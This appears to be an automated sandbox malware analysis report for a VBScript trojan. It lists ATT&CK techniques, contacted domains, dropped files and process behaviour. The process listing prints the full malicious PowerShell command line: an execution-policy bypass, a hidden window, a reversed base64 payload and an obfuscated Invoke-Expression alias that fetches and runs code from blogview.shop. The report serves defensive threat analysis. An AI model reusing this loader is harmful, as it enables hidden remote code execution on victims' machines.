Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
FJw9llPHsk.vbs	11%	ReversingLabs	Win32.Trojan.Laburrak

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
blogview.shop	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://blogview.shop/api/values/86718771597555964672/refresh6/X	powershell.exe, 00000001.00000002.2582773190.0000014220E38000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.2603207731.000001422F997000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2603207731.000001422F854000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2582773190.0000014221348000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.microsoft.co	powershell.exe, 00000001.00000002.2582569700.000001421F6D4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000001.00000002.2582773190.000001422071F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blogview.shop/api/values/refresh6	powershell.exe, 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000001.00000002.2582773190.0000014221348000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.2603207731.000001422F997000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2603207731.000001422F854000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blogview.shop/api/values/	powershell.exe, 00000001.00000002.2582773190.0000014221348000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.2582773190.0000014221348000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blogview.shop/api/values/86718771597555964672/refresh6/	powershell.exe, 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://blogview.shop/api/values/86718771597555964672/refresh6/7045193862.txt	powershell.exe, 00000001.00000002.2582773190.000001422117A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.2582773190.0000014221348000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.2582773190.000001421F7E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blogview.shop/api/values/refresh6X	powershell.exe, 00000001.00000002.2582773190.0000014220E38000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://blogview.shop	powershell.exe, 00000001.00000002.2582773190.00000142211EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2582773190.000001422117A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.2582773190.000001421F7E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542806
Start date and time:	2024-10-26 13:47:48 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FJw9llPHsk.vbs renamed because original name is a hash value
Original Sample Name:	b1dd7ceb58b7c2cb1df3865eca0000b12a578da8af358d00635e6abd97c9a521.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@4/4@1/0
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 7 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7468 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: FJw9llPHsk.vbs

Simulations

Behavior and APIs

Time	Type	Description
07:48:46	API Interceptor	42x Sleep call for process: powershell.exe modified

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eeuyqkc4.bcf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tatqkyd4.hi5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	ASCII text, with very long lines (1397), with CRLF, LF line terminators
Entropy (8bit):	6.01546721197739
TrID:
File name:	FJw9llPHsk.vbs
File size:	1'465 bytes
MD5:	8b72c16e1c15ba0296576e50815d1bbd
SHA1:	5c91e659eca6c982154bece71ec818f9f553948f
SHA256:	b1dd7ceb58b7c2cb1df3865eca0000b12a578da8af358d00635e6abd97c9a521
SHA512:	17cd71b40303690aff362e7189fc02041ab0a74080b9f6449515ddb40159a86cc1eda4efaf4603cebedce7bb946f25cffeaa6e44013851aef40121ff6f6dceba
SSDEEP:	24:2jXxfu8BJ7gg291OLXEqSMMh5LpXQNUR6p22xOs3JLU4RWzv:UI8BJ7gX92UL5PxQNUQv3JLS
TLSH:	8A31C46E9054D83A2A9B8664CE54142CFD7AE67D4280A4833356F7BECC9874BD3021AC
File Content Preview:	dim r, c.set r = createobject("WScript.Shell").c = "powershell.exe -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYl

File Icon


Icon Hash:	68d69b8f86ab9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 13:50:10.647367954 CEST	49879	53	192.168.2.4	1.1.1.1
Oct 26, 2024 13:50:10.669711113 CEST	53	49879	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 13:50:10.647367954 CEST	192.168.2.4	1.1.1.1	0x8d97	Standard query (0)	blogview.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 13:50:10.669711113 CEST	1.1.1.1	192.168.2.4	0x8d97	Server failure (2)	blogview.shop	none	none	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	07:48:44
Start date:	26/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FJw9llPHsk.vbs"
Imagebase:	0x7ff649630000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:48:44
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:48:44
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFD9B955587 Relevance: 1.7, Strings: 1, Instructions: 479COMMON

Download Yara Rule

Strings

A_H, xrefs: 00007FFD9B955860

Memory Dump Source

Source File: 00000001.00000002.2608451969.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b950000_powershell.jbxd

Similarity

API ID:
String ID: A_H
API String ID: 0-522415800
Opcode ID: e0dfa47ea6268d071d43ccb1f321799887e1ab1d029f1c408374a2f18c419d79
Instruction ID: c7ffcd9d849d2bebb56abaa9440e33f3ead8a430b7b032b62f42b8be816be1eb
Opcode Fuzzy Hash: e0dfa47ea6268d071d43ccb1f321799887e1ab1d029f1c408374a2f18c419d79
Instruction Fuzzy Hash: 7AE15621A5F7CD1FE7669BA848746A57BA0EF52220B0901FFD85CCB0F3DA58A906C351

Function 00007FFD9B95559E Relevance: 1.6, Strings: 1, Instructions: 339COMMON

Download Yara Rule

Strings

A_H, xrefs: 00007FFD9B955860

Memory Dump Source

Source File: 00000001.00000002.2608451969.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b950000_powershell.jbxd

Similarity

API ID:
String ID: A_H
API String ID: 0-522415800
Opcode ID: 81034724348d8ca0ad7e29f764ace29025c615485548116f0940446db86857ba
Instruction ID: 24b90fd1e201fc8242c75dae73c30ad32b65954d2f8ae779a30cb311b650a25f
Opcode Fuzzy Hash: 81034724348d8ca0ad7e29f764ace29025c615485548116f0940446db86857ba
Instruction Fuzzy Hash: A7B10721A5F7CA5FE76297B448746A57FE1AF52210B0A00FEC898CF0F3D9499D0AC312

Function 00007FFD9B950000 Relevance: .5, Instructions: 524COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2608451969.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b950000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d3150d018836980e9d62aef3232fd0e30dbd909210bd8d71fdddf0f52d58ea
Instruction ID: b179115c64acce5f724dd9d8cb0e36fcc47eb9c21926e018b18b494cc4e2c40d
Opcode Fuzzy Hash: d5d3150d018836980e9d62aef3232fd0e30dbd909210bd8d71fdddf0f52d58ea
Instruction Fuzzy Hash: 5EE14621A5F7CA1FDB668BB848658643FE0EF57610B0A42FFC489CB1E3D958AC06C351

Function 00007FFD9B952C05 Relevance: .5, Instructions: 491COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2608451969.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b950000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 030f964bad261d3aa7aa5a020fe12af613691bd9892908f0265403ca23757a82
Instruction ID: d2ccc95a7bed29d57c093485de3fb36660c5bcf6025166dc491e04845fe98704
Opcode Fuzzy Hash: 030f964bad261d3aa7aa5a020fe12af613691bd9892908f0265403ca23757a82
Instruction Fuzzy Hash: AFE13462A5FBCA1FE7A687E858745A47FD1DF56210B1A01FBD88DCB0E3DD486D0A8301

Function 00007FFD9B952CDA Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2608451969.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b950000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e784764bdd3a110d796986fcd340fc7737edb21fb479b342a50ea1471715b5f
Instruction ID: d895cf9283aca3dc35fe07e9ea1ea2f4ddd61fc4fc7e27c9956f1a998ceff9d8
Opcode Fuzzy Hash: 6e784764bdd3a110d796986fcd340fc7737edb21fb479b342a50ea1471715b5f
Instruction Fuzzy Hash: CA414962F6FA8F1BF7BA96E808711B477C2EF51250B5901BAD85DC71F3DE4CA8494201

Function 00007FFD9B950252 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2608451969.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b950000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c73aaf23ab81256c4aa41fa51fd6ce6a7c1c578e28738c6256518e4262a4f021
Instruction ID: 2c623be1fec85ec33f0979ec2046cf68abcf6790199764d7ce2ec86057ee6e8c
Opcode Fuzzy Hash: c73aaf23ab81256c4aa41fa51fd6ce6a7c1c578e28738c6256518e4262a4f021
Instruction Fuzzy Hash: 8D31813010DB459FDB4DEE38C45ACA9BBE1FF66320311459ED087CB6A2DA29E846CB45

Function 00007FFD9B883FC5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2608104308.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d4fef9335ac6bfbec39e82dc5f31ed62fcc7d756ab04a978156a98c0c1a8b46
Instruction ID: 287f47897c48768620aa6438edf699d08d65fd3e79ad7aec775551cbfbcd9a2c
Opcode Fuzzy Hash: 9d4fef9335ac6bfbec39e82dc5f31ed62fcc7d756ab04a978156a98c0c1a8b46
Instruction Fuzzy Hash: 5301A73020CB0C4FD748EF0CE451AA5B3E0FB89360F10056DE58AC36A1D732E882CB41

Non-executed Functions

Function 00007FFD9B88423A Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2608104308.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a57289763e44b49d692023d0327b263ee384640c5619b5ef22ce1ae1afee67e
Instruction ID: 6c3ecc55c43bdf0b2573c149bced4209975b0d8431234b9d804e17da1ce71ee0
Opcode Fuzzy Hash: 1a57289763e44b49d692023d0327b263ee384640c5619b5ef22ce1ae1afee67e
Instruction Fuzzy Hash: A5A19D57A0FBD64FE32357A858754E53F60DF9326470E00FBC5E48A0A3EA19690B9361

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
